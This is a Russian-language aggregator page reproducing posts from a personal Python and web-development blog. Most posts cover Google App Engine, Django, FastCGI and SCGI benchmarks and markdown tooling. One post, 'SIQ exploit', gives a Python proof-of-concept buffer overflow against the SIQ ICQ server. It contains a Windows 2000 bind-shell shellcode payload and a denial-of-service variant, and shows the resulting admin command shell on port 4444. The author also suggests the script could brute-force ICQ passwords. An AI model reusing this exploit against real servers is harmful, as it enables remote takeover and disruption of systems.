<! >

Мои пять копеек про Google App Engine

Где-то с месяц назад приспичило попробовать портировать простенький сайт URIs (даа, с фантазией у меня туго :] ) на GAE, дабы поближе познакомится с данной платформой. Итак, что мы имеем (на все вызовы распространяются лимиты при превышении которых включают счётчик :] ): 1GB datastore под данные Mail API Image Manipulation API Кеш на базе memcached URLFetch Сервис авторизации через Google URLFetch - это сервис для получения данных извне. Как обёртка над URLFetch сейчас может использоваться urllib2. API для работы с картинки в принципе ничем не отличаются от PIL, в SDK через него и эмулируются. По поводу Datastore... Всё бы хорошо, но как бы заманчиво он не смотрелся исходя из лозунга "а google пользуется BigTable" и это всё круто, и за нереляционными базами будущее, но перестроить своё мышление после реляционных СУБД - довольно трудно. Хотя из плюсов отмечу отсутствие процесса миграции, то есть после изменений модели приложения, они автоматически отражаются на базе. Теперь немного о плохом, что меня довольно сильно напрягло, так это по 2 таймаута от datastore на день(при примерно 1к запросов к оному). Иногда хранилище не доступно в течение минут 10, я конечно понимаю что кеш наше всё, но всёже... zipimport тоже тормозит, хотя опять же, запросы примитивные. Хотя это уже вроде бы исправили. Также из-за особенностей datastore ряд простых вещей усложняется, например таже пагинация, для которой нужно сделать count(), для этого используется ShardingCounter Также есть лимит - больше 1к объектов получить нельзя, то есть необходимо использовать offset и выбирать следующие 1к элементов и так далее. Всяких unique констрейнов также нет, необходимо использовать ключи. Интереса ради, создал страницу с выборкой 500 элементов и выводом их в шаблон (кстати по дефолту там использутся шаблоны от django 0.96), но получил таймаут из-за превышения процессорного времени %). Кроме этого нет возможности сохранять файлы на ФС, точнее вы можете их залить при развёртывание приложения на платформе, но не более. Вся статика, которая аплоадится через приложения, должна храниться в datastore в blob полях, доступа ко всем python библиотекам для работы с файлами нет. Как ни странно, но API для полнотекстового поиска нет %). Точнее что-то есть, но довольно сырое, в SDK есть пример с английской морфологией. Из коварных лимитов также отмечу: 1к строк кода и 150мб статики на 1 приложение приложение можно подключать лишь к домену 2го уровня. Приходится делать редирект с example.com на www.example.com который в свою очередь работает на GAE. В общем "naked домены" пока не доступны, по крайней мере бесплатно (через биллинг также). В добавок к этому, нет возможности "легко" скачать код своего приложения, для этого надо использовать сторонние утилиты, для выгрузки данных на сервер через bulk_copy необходимо также произвести ряд действий, замапить в приложении хендлер для этого (кстати тут я тоже нахватался кучу таймаутов), пока что нет аналога cron'a, но он будет в новых версиях. Из интересных вещей отмечу планы добавить поддержку xmpp, хранилище статических данных и запуск процессов в бэкграунде. Всё это должно появиться в GAE ближе к лету. Вот вкратце и всё=). Не знаю удастся ли гуглу занять нишу серьёзных платформ для высоконагруженных приложений, но я пожалуй дождусь когда уберут слово beta, ибо пока что мелкие недостатки отпугивают больше чем "шара" ;) Мысли выше писались в полусонном состоянии, прошу строго не судить :)

02:03:59 21.03.2009

Пару хаков для запуска hgweb и Trac на lighttpd

Есть в lighttpd одна проблемка с переменной PATH_INFO. От параметра "broken-scriptfilename" почему-то толку 0 :. Вот пару скриптов для запуска Trac и HGweb через fcgi: для запуска Trac в корневом каталоге сайта (нашёл в сети, хотя там была одна ошибка): #!/usr/bin/env python try: from flup.server.fcgi import WSGIServer except ImportError: from trac.web._fcgi import WSGIServer from trac.web.main import dispatch_request import tempfile import os os.environ['PYTHON_EGG_CACHE'] = tempfile.gettempdir() def application(environ, start_request): environ['PATH_INFO'] = environ['SCRIPT_NAME'] + environ['PATH_INFO'] environ['SCRIPT_NAME'] = '' return dispatch_request(environ, start_request) if __name__ == '__main__': WSGIServer(application).run() Для hgwebdir.cgi достаточно добавить что-то вроде: os.environ['SCRIPT_NAME'] = "/hg" hgwebdir.fcgi для запуска в корне сайта: from mercurial import demandimport; demandimport.enable() from mercurial.hgweb.hgwebdir_mod import hgwebdir from flup.server.fcgi import WSGIServer def make_web_app(): return hgwebdir("hgweb.config") def wsgiapplication(app_maker): application = app_maker() def run_wsgi(env, respond): env['PATH_INFO'] = env['SCRIPT_NAME'] + env['PATH_INFO'] env['SCRIPT_NAME'] = '' return application(env, respond) return run_wsgi WSGIServer(wsgiapplication(make_web_app)).run() Возможно кому-то пригодится

16:36:33 5.01.2009

Бесполезность async серверов в Веб

В предыдущем посте поигрался с асинхронным способом запуска Django через cogen. Как оказал - совершил ошибку :) /me не спец в async-программировании Ниже выскажу своё мнение. Итак, "асинхронизм" довольно сложная и тонкая штука, которую легко можно нарушить лишь одной синхронной I/O операцией. В тестах на "hellow world" асинхронный метод показал хороший результат, НО в реальных веб-приложениях есть узкое место, а конкретней СУБД. В реальной ситуацие мы получаем, что к базе существует лишь 1 коннект, т.е. django создаёт коннект -> выполняет операцию -> закрывает коннект, и потом опять повторяет данную последовательность. Поэтому на реальном приложении я получил такую ситуацию, что приложения начинало "накапливать" запросы к бд, и как-бы выставляло их в очередь и выполняло последовательно через 1 коннект. Хотя у psycopg2 и есть async API, но в django ORM данная поддержка отсутвует. При запуске через cherrypy мы имеем тредовый WSGI сервер, при этом к базе у нас не 1 коннект, а несколько параллельных (max число упирается в число тредов). В общем остановился на cherrypy + pgbouncer + postgres. PgBouncer использую по той причине, что у Постгреса тяжко с обработкой новых коннектов, да и на VPS лучше держать форки в памяти, чем каждый раз стартовать новый из-за тормознутости HDD. По поводу тестов piranha и результатов для CherryPy - там не был указан параметр request_queu_size, который используется сервером как параметр для socket.listen() (по дефолту он равен 15, так что результат очевиден), да и у Spawning dev-watch режим не выключен В) Так что, имхо, использовать async можно лишь на серверах где нет БД, там будет реальный прирост производительности. Хотя на малонагруженых серврерах тоже сойдёт. Испытания проводил на серваке с нагрузкой более 18 req/s, в MYSQL (уже сменил на postgres) avg был равен около 550 q/s иногда и 1.2к %)

12:59:34 12.12.2008

Первый "блин" на Django

Давно ничего не писал в блог, т.к. сдавал диплом и писал футбольный портал (пока не презентабельно) Вот захотелось поделиться впечатлениями и имхами по ряду вещей и django в целом. Впечатления остались ... хорошими %) Последний раз смотрел на джангу года 3 назад, разница конечно большая. Итак пару слов о проекте. Портал представляет из себя систему с блоками новостей и разделами, тегами, простыми блогами, форумом, регистрацией юзеров, турнирными таблицами, баннерной системой. Писать такое на web.py ммм, конечно можно, но пришлось бы изобретать ряд велосипедов. Не думал что всё вышеперечисленное будет так просто реализовать%) Из основных модулей использовал: django-registration django-tagging django-robots django-forum UrlMiddleware + ThreadLocals Вкратце о задачах и возникших сложностях. Как оказалось, APPEND_SLASH не рaботает c FlatPages, то есть /about/ и /about - разные страницы. Решил сию проблему путём подключения UrlMiddleware и задания APPEND_SLASH = False. При добавлении новостей было необходимо определять автора, давать пользователю задавать поле "автор" показалось не сильно корректным, но в джанге удобных средств для решения задачи не оказалось. Пришлось воспользоваться мидльварей ThreadLocals, которая при каждом запросе выдирает значение user из запроса и присваивает его глобальной переменной (на самом деле локальному треду, но это не столь важно =) ), который можно получить через ф-цию get_current_user(). Выглядит это примерно так: def save(self): if not self.id: self.author = threadlocals.get_current_user() super(News, self).save() В блогах потребовалось разграничить доступ для пользователей, то есть после авторизации пользователь должен видить только свои объекты (записи). Это легко можно сделать при помощи NFA, путём переопределения queryset() метода: class EntryAdmin(admin.ModelAdmin): ... def queryset(self, request): qs = super(EntryAdmin, self).queryset(request) if not request.user.is_superuser: qs = qs.filter(blog__author=request.user) return qs Таким образом мы получим только записи из блога залогиненого пользователя, довольно удобная штука (спасибо Кошелеву) =) Когда я только начал писать проект, оказалось что ф-ции агрегации в ORM отсутвуют, но после рефакторинга-qs, кое-что появилось, о чём мало кто знает. В одной из задач возникла необходимость в группировки объектов, теперь через ORM это делается так: qs = Schedule.objects.select_related().filter(pub_date__gte=datetime.now()) qs.query.group_by = ['country_id'] return {'schedule': qs} Но вот Inline редактирование после NFA не понравилось, в старой админке это делалось 1й строкой, теперь же надо напистаь около 10 строк%). Пример прикручивания профиля к стандартной модели User: from django.contrib import admin from profile.models import UserProfile from django.contrib.auth.models import User class ProfileInline(admin.StackedInline): model = UserProfile extra = 1 max_num = 1 class ProfileAdmin(admin.ModelAdmin): inlines = (ProfileInline,) admin.site.unregister(User) #!!! admin.site.register(User, ProfileAdmin) По началу кажется избыточно, но потом привыкаешь (а ещё надо въехать где какую модель подставлять %)) Вместе с радостями жизни, узнал о get_profile()... это ужасная штука, которую я больше никогда не буду юзать, хотя снизить число запросов на 1 странице удалось при помощи тега cache в шаблонах Кстати в примере из документации, по подключению админки, пропущен вызов admin.autodiscover() в urls.py, так как без него мы получим пустую админку, если её описание задано в admin.py (данная ф-ция пробегает по всем apps и пытается импортировать admin.py) Кстати не советую объявлять прямо в модели, ибо вылазят ошибки, говорящие о том, что админка для модели уже задана. А вот FormSet'ы не осилил, долго маялся как убрать чекбокс delete над inline объектом (в старой админке это делалось через указание одной переменной). Хотя понял что надо задать can_delete = False, но где и как пока не ведомо) ибо по формсетам вменяемых примеров маловато, особенно по BaseInlineFormSet. Комментарии решил хранить в форуме на базе django-forum. Кстати хочется оторвать яйца тому, кто когда-то в своём блоге хвалил сею поделку%) отсутсвие пагинации и по 30 запросов на 1 страницу это уж слишком, но при помощи ловкости рук и select_related() удалось довести до ума: {% cache 600 profile comment.author %} {% if comment.author.get_profile.city %} ({{comment.author.get_profile.city}}) {% endif %} {% endcache %} comment.author необходим для уникальности кеша И последний момент - newforms. Было необходимо построить форму для модели (по началу думал руками нарисовать и не париться%), было бы быстрее...), но возникла необходимость заменить стандартный "class" на указанный в css: from django.newforms.models import ModelForm from django.contrib.auth.models import User from profile.models import UserProfile from django import forms class ProfileForm(ModelForm): class Meta: model = UserProfile fields=('city',) class UserForm(ModelForm): class Meta: model = User fields=('first_name', 'last_name') #add class=reg4 to input field for form in (ProfileForm, UserForm): for f in form.base_fields: form.base_fields[f].widget.attrs.update({'class': 'rega4'}) Следующий момент. Возникла проблема с профилями, как оказалось они не создаются автоматически при регистрацие пользователя, решил при помощи сигналов (почему-то они вызываются по 2 раза и приходится делать проверку на существование профиля...) def create_profile_for_user(sender, instance, signal, created, *args, **kwargs): if created: try: UserProfile.objects.get(user = instance) except (UserProfile.DoesNotExist, AssertionError): p = UserProfile( user = instance ) p.save() dispatcher.connect(create_profile_for_user, signal=signals.post_save, sender=User) Метод выдрал из какой-то рассылки. А вот пагинацию я вам не покажу)) ибо уж сильно она убога, а django-pagination поздно заметил. Держит сие чудо по 25 запросов/сек (без кеша), а местами за 70 %) на простом VPS'e, работает под SCGI на lighttpd в 1 процесс/threaded режим, поедает 20Мб. Имхо не дурно =) Чёт смотрю на подзаголовок "Вкратце..." ... но переименовывать уже лень=) Спасибо Кошелеву, Соловьёву и lorien'y за подсказки на старте :] Пожалуй всё. Надеюсь я не принёс в сей мир очередную порцию "гавнакода", а внёс гармонию и красоту :)

13:21:31 21.07.2008

Exception #07 video

Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7. Выложено 5 докладов: Мастер-класс по Python: Метаклассы + Дескрипторы Python и Django — платформа для фрилансера По ту сторону ООП: PEAK-Rules и PyProtocols Разработка Веб-приложений с использованием Grails Smalltalk — опыт применения Все части доступны на YouTube Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7. Выложено 5 докладов: Мастер-класс по Python: Метаклассы + Дескрипторы Python и Django — платформа для фрилансера По ту сторону ООП: PEAK-Rules и PyProtocols Разработка Веб-приложений с использованием Grails Smalltalk — опыт применения Все части доступны на YouTube

13:34:13 4.05.2008

SIQ (icq server for win32) exploit

Года 3 назад страдал фигнёй, пытаясь написать модуль для работы с ICQ, осилил только авторизацию и потерял интерес =) Так вот, тестил я своё поделие на SIQ (http://www.kht.ru/homepage/apt/siq.htm) - простенький icq сервер от "профессионала, с большим опытом автоматизации бизнес-задач"(кстати opensource), но вот проверять длину uin'a видать не кошерно, а вот и зря..., как раз в то время страдал написанием сплойтов и тп ерундой, ниже код с PoC с биндшеллов для win2ksp4ru ( ну как минимум DoS сплойт отправляющий сервер авторизации SIQAuth в даун В) ) Код никакой ценности не несёт, а вотм мне он дорог как память =), может кому будет интересно (хотя как модуль для перебора паролей к icq либо как убийца корпоративной аси и сгодитя): # SIQ (www.kht.ru/homepage/apt/siq.htm) exploit #Coded by slav0nic (http://slav0nic.org.ua) import struct from socket import * from random import * """ word == 2 bytes ;) FLAP (6 bytes): CS - Command Start (byte) CH - Channel (byte) SN - Sequence Number (word) random L - Data Field Length (word) SNACs: -------------------------------- D - Data (L) \_ | TLV_id (word) | TLV_len (word) | TLV_data (TLV_len) |....... """ #Constants # TLV TLV_UIN = 1 TLV_PWD = 2 TLV_VERSION= 3 TLV_ERROR = 4 TLV_REDIR = 5 TLV_COOKIE = 6 TLV_COUNTRY = 14 TLV_LANG = 15 #--------------------------------- # Channels CH_LOGIN = 1 CH_SNAC = 2 CH_ERROR = 3 CH_LOGOUT = 4 HELLO = ... = "2a" DBG = 1 def get_hello(s): "get FLAP\x00\x00\x00\x01" data = s.recv(10) if data[-4:] == ... return True else: return False def get_length(hex_): """ hexed string ->int return int """ tmp = list(map(lambda x: str(ord(x)),tuple(hex_))) #convert hex->ascii and join tmp[0]=int(tmp[0])*256 _int=tmp[0]+int(tmp[1]) return _int #exmpl. 01 0a = 266 def tohex(str_): """ Use for debug str->hex return ([hex], str) """ hex_= map(lambda x: "%.2x"%ord(x),tuple(str_)) text =" ".join(hex_) return hex_, text def make_flap(channel,data): l = len(data) fmt = '!BBhh %ds' %l return struct.pack(fmt,0x2a,channel,randrange(0xFFFF),l,data) def tlv_make(TLV_id, TLV_data): """return tlv-encoded string""" l = len(TLV_data) fmt = '!hh %ds' % l return struct.pack(fmt, TLV_id, l, TLV_data) def parse_tlv(data): """ received data -> tvl_info{} """ tlv_info = {} while 1: if len(data)<4: break tlv_id = get_length(data[0:2]) #get tlv id (word) tlv_len = get_length(data[2:4]) #and len (word) tlv_info[tlv_id]=data[4:4+tlv_len] data = data[4+tlv_len:] #remove parsed data return tlv_info def make_snac(family, subtype, flags, req_id): fmt="!hhhl" return struct.pack(fmt,family, subtype, flags, req_id) def parse_flap(data): hex_data = tohex(data)[0] CS = hex_data[0] if CS != FLAP_START: if DBG: print "[-]Protocol error." CH = hex_data[1] SN = "".join(hex_data[2:4]) L = "".join(hex_data[4:6]) data_size=get_length(data[4:6]) D = "".join(hex_data[6:6+data_size]) tlv_info = parse_tlv(data[6:6+data_size]) print tlv_info #LOGIN if tlv_info.has_key(TLV_REDIR): ip_port=tlv_info.get(TLV_REDIR) if tlv_info.has_key(TLV_COOKIE): cookie = tlv_info.get(TLV_COOKIE) ip, port = ip_port.split(":") s = socket(AF_INET, SOCK_STREAM) # s.settimeout(3) #DBG s.connect((ip, int(port))) packet="\x2a\x01"+\ ... tlv_make(6,cookie) s.send(packet) get_hello(s) rec=s.recv(1024) print "\n\nrec ",tohex(rec)[1] packet=make_flap(CH_SNAC,make_snac(0x1, 0x17, 0, 0)+\ ... ... ... ... s.send(packet) rec=s.recv(1024) print "\n\n",tohex(rec)[1] if DBG: print "\nCS=%s CH=%s SN=%s L=%s \nD=%s"\ %(CS, CH, SN, L, D) def make_pass(str_): """ encode string to password len(password) <= 16 return binary string """ roasting_array = ( 0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7C) passwrd ="".join(map(lambda char, roast_byte: "%c"%(ord(char)^(roast_byte)), tuple(str_), roasting_array[:len(str_)])) return passwrd def login(uin, password): """ uin and password - string return True if logged """ serverHost = "127.0.0.1" #login.icq.com serverPort = 5190 message = make_flap(CH_LOGIN,HELLO +\ tlv_make(TLV_UIN, uin)+\ tlv_make(TLV_PWD, make_pass(password))+\ tlv_make(TLV_VERSION, "3ICQ Inc. - Product of ICQ (TM).2003a.5.47.1.3800.85")+\ tlv_make(16, "\x01\x0a")+\ tlv_make(17, "\x00\x03")+\ tlv_make(18, "\x00\x03")+\ tlv_make(19, "\x00\x01")+\ tlv_make(0x1a, "\x0e\xd8")+\ tlv_make(0x14, ... tlv_make(TLV_LANG, "ru")+\ tlv_make(TLV_COUNTRY, "ru")) sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect((serverHost, serverPort)) data = sockobj.recv(1024) #get hello msg (test packet) if DBG: print "<<",tohex(data)[1] if (tohex(data)[1][0:2] == FLAP_START) and HELLO in data: if DBG: print "[+]Connected" else: print "[-]Server error. Can't get test FLAP" sockobj.close() if DBG: print "->",tohex(message)[1] # sockobj.settimeout(10) #DBG while True: sockobj.send(message) data = sockobj.recv(1024) if DBG: print "<<",tohex(data)[1] parse_flap(data) return True if __name__=="__main__": "bindshell 4444 shellcode for win2ksp4ru" sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" sc += ... sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" sc += ... sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" sc += ... #uin_for_DoS = 'A'*1023+'\x90'*418+'X'+'\x90'*418#1860 bytes# uin = 'A'*1072+struct.pack('<L',0x0072FCF0)+sc+'\x90'*400 login(uin,"123") Запускаем и вуаля... << 2a 01 68 d3 00 04 00 00 00 01 [+]Connected -> 2a 01 3b 3e 07 cc 00 00 00 01 00 01 07 53 41 41 41 41 41 41 41 41 41 41 41 41 ... Смотрим открытые порты и видим наш 4444 порт В) : C:\\WebServer\\siq>netstat -na Активные подключения Имя Локальный адрес Внешний адрес Состояние TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING ... TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING TCP 0.0.0.0:1058 0.0.0.0:0 LISTENING TCP 0.0.0.0:1101 0.0.0.0:0 LISTENING TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING TCP 0.0.0.0:5190 0.0.0.0:0 LISTENING TCP 0.0.0.0:5191 0.0.0.0:0 LISTENING Телнетимся к порту telnet 4444 и попадаем в cmd консоль с админскими правами. Microsoft Windows 2000 [Версия 5.00.2195] (с) Корпорация Майкрософт, 1985-2000. C:\WINNT2\system32> Пойду понастальгирую и поковыряю другие коды) Кстати сплойт в нете ещё не выкладывался, будем считать его приватным В) SIQ Exploit

14:41:59 26.04.2008

Подсветка кода в markdown при помощи pygments

Решил прикрутить подсветку к markdown, благо он поддерживает плагины, но писать самоу не пришлось, ибо он уже написан и имя ему CodeHilite. Поддерживает 3 способа подсветки кода: GNU Enscript dp.SyntaxHighlighter Pygments Для добавления к работе с mardown достаточно скачать mdx_codehilite.py и кинуть его с sys.path. Для работы с pygments необходимо сгенерировать css-файл подсветки кода ну и подключить его к странице в которой будет выводиться код: pygmentize -f html -S colorful -a .codehilite > pygments.css Далее всё просто: >>> import markdown >>> txt = """ ... :::python ... #comment ... print "hello" ... """ >>> markdown.markdown(txt, ['codehilite(hiliter=pygments)']) u'<div class="codehilite"><pre><span class="c">#comment</span>\n<span class="k">print</span> <span class="s">&quot;hello&quot;</span>\n</pre></div>' Для смены способа подсветки кода необходимо лишь сменить hiliter, за вывод номеров строк отвечает параметр force_linenos (значения on/off). Удобная штука;]

20:05:47 13.04.2008

fcgi vs scgi vs cherrypy (web.py dev server)

Приспичило посмотреть что есть scgi и чем он лучше. Тестил на lighttpd 1.49, возможно по этому результаты немного отличается от предыдущих тестов Тестил при помощи ab на локалхосте. На простом приложении на web.py 0.23 для scgi: slav0nic@sl:~$ cat /var/www/test/code.fcgi #!/usr/bin/python2.5 import web, sys urls = ( '/', 'index' ) class index: def GET(self): web.header("Content-Type","text/html; charset=utf-8") print web.ctx web.wsgi.runwsgi = lambda func, addr=("127.0.0.1", 4000): web.wsgi.runscgi(func, addr) if __name__ == '__main__': sys.stderr = open("/dev/null", "a") #не выводим в консоль инфу о коннектах web.run(urls, globals()) конфиг для mod_scgi: scgi.server = ( "/code.fcgi" => (( "host" => "127.0.0.1", "port" => 4000, "max-procs" => 1, "bin-environment" => ("REAL_SCRIPT_NAME" => ""), "check-local" => "disable") )) для mod_fcgi: fastcgi.server = ".fcgi" => (("bin-path"=>"/var/www/test/code.fcgi", "socket" => "/tmp/python.socket", "bin-environment" => ( "REAL_SCRIPT_NAME" => "", "check-local" => "disable"), "max-procs" => 1, )) SCGI-приложение запускалось как простой файл ./code.fcgi c lighttpd общалось через tcp socket (через unix-socket оно похоже и не умеет, увы с доками к mod_scgi полная ж@#$). stderr редиректил в /dev/null, без этого на ~30-50 запросов в секунду меньше (при запусуке в gnome-terminal) Длина документа примерно 2Кб. Максимальное число запросов в секунду выделено жирным, 2й - курсив, выдача статики приведена просто для сравнения и интеерса не представляет =) Итакс результаты: 1 конкурирующий запрос, 2к запросов (последовательных) FCGI, ab -n2000 localhost/ Requests per second: 564.05 CherryPy/3.0.1 (то что в web.py встроено) ab -n2000 localhost:8080/ Requests per second: 898.09 SCGI, /usr/sbin/ab -n2000 localhost/ Document Length: 2104 bytes Requests per second: _ 674.35_ Transfer rate: 1503.80 [Kbytes/sec] received lighttpd static, /usr/sbin/ab -n2000 localhost/static/ Document Length: 2455 bytes Requests per second: 3053.12 5 конкурирующих запросов: FCGI, /usr/sbin/ab -n2000 -c5 localhost/ Failed requests: 741 Requests per second: 537.87 Transfer rate: 1196.75 [Kbytes/sec] received CherryPy/3.0.1, /usr/sbin/ab -n2000 -c5 localhost:8080/ Failed requests: 3 Requests per second: 880.78 Transfer rate: 1540.49 [Kbytes/sec] received SCGI, sl:/etc/lighttpd# /usr/sbin/ab -n2000 -c5 localhost/ Requests per second: 764.70 Transfer rate: 1705.28 [Kbytes/sec] received lighttpd static, /usr/sbin/ab -n2000 -c5 localhost/static/ Requests per second: 3301.76 Transfer rate: 8449.20 [Kbytes/sec] received 25 конкурирующих запросов: FCGI, /usr/sbin/ab -n2000 -c25 localhost/ Failed requests: 718 Requests per second: 500.37 Transfer rate: 1112.56 [Kbytes/sec] received CherryPy/3.0.1 /usr/sbin/ab -n2000 -c25 localhost:8080/ Requests per second: 664.86 Transfer rate: 1163.18 [Kbytes/sec] received SCGI, /usr/sbin/ab -n2000 -c25 localhost/static/ Requests per second: 716.10 Transfer rate: 1596.89 [Kbytes/sec] received lighttpd static, /usr/sbin/ab -n2000 -c25 localhost/static/ Requests per second: 3643.83 Transfer rate: 9311.81 [Kbytes/sec] received PS: из результатов не понял что есть failed connection при использвоании FCGI, возможно это баг ab, возможно таки fascgi при нагрузке захлёбывался (аналогичное было при scgi, когда я не делал редирект stderr с консоли в /dev/null), хотя при попытках загрузки страницы браузером всё было ок, по результатам ab 40% запросов вернули ошибки... От cherry не ожидал такой скорости (при этом я не делал редирект коннектов в /dev/null, а stdio неплохо тормозит работу программы...), scgi выиграл только при значительной нагрузке, думаю при кластеризацие цифра будет ещё больше. ЗЫ: для проектов, с большой нагрузкой - fcgi в топку, из недостатоков scgi отмечу лишь "сложность" запуска, софтину надо запускать как демон, при этом прописать bin-path как в mod_fcgi (чтоб сервер сам это делал при старте) - не вышло.

14:53:20 13.04.2008

markitUp

На днях возжелал прикрутить к админке какой-нибудь редактор, поддерживающих markdown, при этом являющимся чем-то средним между textarea и WYSIWYG Наткнулся на wmd-editor, но что-то он показался уж сильно простым=). С посыла piranha глянул markitUp. На нём и остановился:). Из особенной отмечу: используей jQuery поддерживает: html bbcode textile wiki dotclear markdown легко расширяем + поддерживает плагины нелохо выглядит=) : Также легко встраивается (даже такое далёкое от javascript существо как я, осилило сей незамысловатый процесс=] ). Из особенностей настройки отмечу лишь пару моментов при прикучивании markdown плагина... В файле markitup/sets/markdown/set.js в настройках стоит добавить строку: nameSpace: "markdown", И указать previewParserPath , например: previewParserPath: "/entry/preview" Тут начинается интересный момент, в markitup имеется баг, при использовании utf8 в превьюшку посылаются кривые данные, для избавления от бага стоит заменить 389 строку в jquery.markitup.js, ф-цию escape($$.val()) заменить на encodeURIComponent($$.val()). Контроллер /entry/preview выглядит просто: class Preview: def POST(self): i = web.input() print markdown.markdown(i.data.decode("utf8")) То есть превью текст передаётся в переменной data. Осталось прикрутить pygments к markdown и можно жить В)

22:39:55 11.04.2008

slav0nic's blog

Заметки о python, linux и других занимательных вещах


http://feeds.feedburner.com/slav0nicorgua Получить информер из RSS-канала:  http://feeds.feedburner.com/slav0nicorgua http://feeds.feedburner.com/slav0nicorgua http://slav0nic.org.ua просмотрен 53 раза

 

Добавить RSS к себе в ленту:


Добавить в список для экспорта в список для экспорта



<! >

Вернуться в раздел: Веб-разработка

страницы(64):


Реклама

Каталог RSS новостей:

Авто/мото/вело Администрации Безопасность Бизнес, финансы Благотворительность Блоги @Mail.Ru Блоги blogspot.com Блоги intwayblog.net Блоги wordpress.com Блоги ya.ru Блоги блог.ру Блоги, дневники Веб-разработка Города, регионы Деньги Дизайн Дневники LiveInternet Дневники@Diary.ru Дом, семья Женщинам Живой журнал Животные Законодательство Записи Twitter Знакомства Игры, игрушки Интернет Каталоги Кино, видео Компании Компьютеры Консультации Красота, здоровье Кредиты Кулинария Культура, искусство Литература Медицина Мобильная техника Мобильный контент Мода, стиль Мужчинам Музыка Недвижимость Новости Образование, наука Общество Объявления Оптимизация Отдых, туризм Подкасты Политика Порталы Пресс-релизы Природа, экология Программы Происшествия Промышленность Работа Радио, телевидение Развлечения Рамблер-Планета Реклама Религия Рукоделие СМИ, периодика Связь События Спорт Стена Facebook Страхование Строительство, ремонт Техника Технологии Товары, услуги Торговля Транспорт Файлы Форекс Форумы, сообщества Фото Электроника Юмор

<! >